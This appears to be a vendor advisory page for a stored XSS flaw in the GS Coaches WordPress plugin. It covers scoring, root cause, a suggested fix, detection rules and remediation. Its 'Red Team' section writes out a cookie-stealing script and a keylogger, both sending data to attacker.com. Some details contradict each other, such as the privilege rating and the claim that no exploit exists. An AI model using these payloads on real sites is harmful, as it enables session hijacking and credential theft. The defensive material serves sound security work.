CVE-2024-56262
Executive Summary
CVE-2024-56262 is a Stored Cross-Site Scripting (XSS) vulnerability in the GS Coaches WordPress plugin (slug: gs-coach) developed by GS Plugins. The vulnerability affects all versions up to and including 1.1.0. An attacker with contributor-level access or higher can inject arbitrary JavaScript into coach profile fields, which is then stored and executed in the browsers of any user viewing the affected coach page. This can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to the WordPress plugin update mechanism; however, since no patch exists, site administrators must manually remove or disable the plugin to mitigate risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires a user with contributor+ role to inject)
- User Interaction: Required (victim must view the coach page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires an authenticated user with at least contributor privileges to inject the payload, but the stored XSS can then affect any site visitor, including administrators. The lack of a patch and the widespread use of WordPress plugins elevate the risk.
Deep Dive & Mechanics
The GS Coaches plugin allows site administrators and contributors to create coach profiles with fields such as name, biography, and social media links. The vulnerability stems from improper neutralization of user-supplied input in these fields before rendering them on the frontend. Specifically, the plugin fails to sanitize or escape HTML/JavaScript in the biography or custom field inputs when storing them in the database and later outputting them.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
- The attacker navigates to the "Add New Coach" or "Edit Coach" page.
- In a text field (e.g., "Biography"), the attacker injects a payload such as
<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without sanitization.
- When any user (including administrators) visits the coach's public profile page, the payload executes in their browser.
Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The vulnerability is in the template files that output coach data.
Vulnerable vs. Patched Code
Vulnerable Code (example from gs-coach/templates/single-coach.php):
<div class="coach-bio">
<?php echo get_post_meta(get_the_ID(), 'coach_bio', true); ?>
</div>
The coach_bio meta value is output directly without escaping.
Patched Code (hypothetical fix):
<div class="coach-bio">
<?php echo esc_html(get_post_meta(get_the_ID(), 'coach_bio', true)); ?>
</div>
Using esc_html() neutralizes any HTML/JavaScript tags.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with GS Coaches plugin <= 1.1.0
- User account with contributor role or higher
Steps:
- Log in to WordPress admin as a contributor.
- Go to
Coaches > Add New. - In the "Biography" field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the coach profile.
- Send the coach profile link to a target (e.g., admin). When they view the page, the script executes and exfiltrates their session cookie.
Advanced Payload (keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor WordPress admin logs for unusual coach profile edits.
- Look for coach profiles containing
<script>tags in the database. - Use WAF rules to block common XSS payloads in POST requests to
/wp-admin/admin-ajax.phporpost.php.
Mitigation:
- Immediately disable or remove the GS Coaches plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Restrict contributor roles from editing coach profiles if not needed.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/gs-coach/templates/single-coach.php(vulnerable file) - Database:
wp_postmetatable entries withmeta_key=coach_biocontaining<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress audit logs showing coach profile edits by non-admin users.
Detection Engineering
YARA Rule
rule CVE_2024_56262_GS_Coaches_XSS {
meta:
description = "Detects stored XSS payloads in GS Coaches plugin coach_bio meta"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56262"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$meta_key = "coach_bio"
condition:
$meta_key and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in GS Coaches Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in GS Coaches coach_bio meta field
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
meta_key: "coach_bio"
meta_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in coach bios (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56262 GS Coaches Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the GS Coaches plugin from all WordPress installations.
- Scan for compromise: Check
wp_postmetaforcoach_bioentries containing<script>tags. Remove any malicious entries. - Rotate credentials: Force password reset for all users who may have been affected (especially administrators).
Long-Term Fix:
- The vendor (GS Plugins) must release a patched version that escapes output. Until then, consider replacing the plugin with an alternative.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact:
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Workaround:
- Add a custom filter to sanitize coach bio output:
add_filter('the_content', 'sanitize_coach_bio', 10, 1); function sanitize_coach_bio($content) { if (is_singular('coach')) { $content = esc_html($content); } return $content; }
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.